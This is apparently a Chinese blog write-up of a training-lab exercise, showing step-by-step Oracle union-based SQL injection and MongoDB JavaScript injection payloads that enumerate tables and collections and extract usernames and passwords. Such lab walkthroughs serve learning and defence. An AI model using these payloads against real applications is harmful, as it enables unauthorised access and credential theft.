Oracle &&MongoDB

听课的时候第一次碰到,可以了解一下吧,就直接开了墨者学院的靶场

#oracle数据库

Oracle数据库注入全方位利用 - 先知社区

这篇写的真的很好

1.判断注入点

当时找了半天没找到

看样子是找到了,测试一下看看

id=1 and 1=1 时没有报错

2.判断字段数

3.确定回显点

复制代码
?id=1 union select null,null from dual

oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。

?id=1 union select 'null','null' from dual

oracle对于字段点数据类型敏感,也就是说我们不能直接union select 1,2,3来获取显错点了,需要在字符型字段使用字符型数据,整型字段使用整型数据才可以。如下,两个字段都为字符型,故使用union select 'null','null'。

第一个null回显在红字部分,第二个null回显在下边

4.获取表名

直接查询

获取第一个表名LOGMNR_SESSION_EVOLVE$

复制代码
?id=1 union select 'null',(select table_name from user_tables where rownum=1) from dual

查询其他表

LOGMNR_GLOBAL$

复制代码
?id=1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual

LOGMNR_SESSION_EVOLVE$

复制代码
?id=1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_GLOBAL$') from dual

模糊查询

sns_users

复制代码
?id=1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual

5.获取列名

USER_NAME

复制代码
?id=1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual

USER_PWD

复制代码
?id=1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name not in'USER_NAME') from dual

5.查询数据

复制代码
?id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1
复制代码
?id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong'

终于出来啦

复制代码
?id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu'

解码一下

拿账号密码登录就可

#Mongodb 数据库

MongoDB 查询文档 | 菜鸟教程

渗透测试之地基服务篇:服务攻防之数据库Mongodb(下) - FreeBuf网络安全行业门户

数据库安全之MongoDB渗透 - FreeBuf网络安全行业门户

先要了解一下查询方式

在mysql中使用where子句来实现条件查询

但是mongogb是使用键值

先看下源码

复制代码
# 查询语句,这里id值可控且没有经过过滤和限制
$query = "var data = db.notice.findOne({'id':'$id'}); return data;";
​
#打印出数据库中title字段和content字段信息
<?php echo $obj['retval']['title'] ?>
<?php echo $obj['retval']['content'] ?>

1.判断注入点

还是老的

2.测回显

复制代码
如何构造payload?

正常写法:select * from news where id=1

mdb数据库写法:select * from news where id={('$id')},需要闭合符号


原始语句:db.notice.findOne({'id':'$id'});return data;

如果 ?id=1 order by 2

那么语句就会变成:db.notice.findOne({'id':'1 order by 2'});return data;,语句不正确。

但是注入语句 ?id=1'}); return ({title:tojson(db),content:'1

那么语句就变成:db.notice.findOne({'id':'1'}); return ({title:tojson(db),content:'1'});return data; ,就可以进行正常的注入。


测回显:?id=1'}); return ({title:1,content:'test

根据源码来确定 title回显在红色,content在灰字

3.获取库名

mozhe_cms_Authority

复制代码
?id=1'}); return ({title:tojson(db),content:'1

db.getCollectionNames()返回的是数组,需要用to json转换为字符串。并且mongodb函数区分大小写

4.获取表名

复制代码
?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1

getCollectionNames()以数组形式返回所有集合,需要使用tojson()方法转字符串格式

5.获取数据、

复制代码
?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1

db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据

这个密码得到是假的

复制代码
?id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),content:'1

查询第二条数据

这是对的

相关推荐
云老大TG:@yunlaoda3603 分钟前
如何使用华为云国际站代理商的BRS进行数据安全保障?
大数据·数据库·华为云·云计算
工具人55557 分钟前
strip()方法可以删除字符串中间空格吗
数据库·mysql
松涛和鸣11 分钟前
35、Linux IPC进阶:信号与System V共享内存
linux·运维·服务器·数据库·算法·list
xinyu_Jina19 分钟前
局域网文件传输:P2P应用层协议——元数据握手与数据通道的生命周期管理
数据库·asp.net·p2p
彬鸿科技36 分钟前
【SDR课堂第42讲】RFSOC开发入门之开发环境搭建(三)
linux·运维·数据库·ubuntu·postgresql·软件无线电·软无
九章-37 分钟前
金仓数据库助力中国石油安全环保技术研究院安全生产智能管控系统全面实现数据库国产化替代
数据库·安全
陌路2038 分钟前
redis 发布订阅功能
数据库·redis·缓存
丁丁丁梦涛40 分钟前
navicat跨服务器连接MySQL数据库
服务器·数据库·mysql
tgethe43 分钟前
mysql-索引详解
数据库·mysql
一个天蝎座 白勺 程序猿1 小时前
Apache IoTDB(11):分段聚合深度解析——从原理到实战的完整指南
数据库·apache·iotdb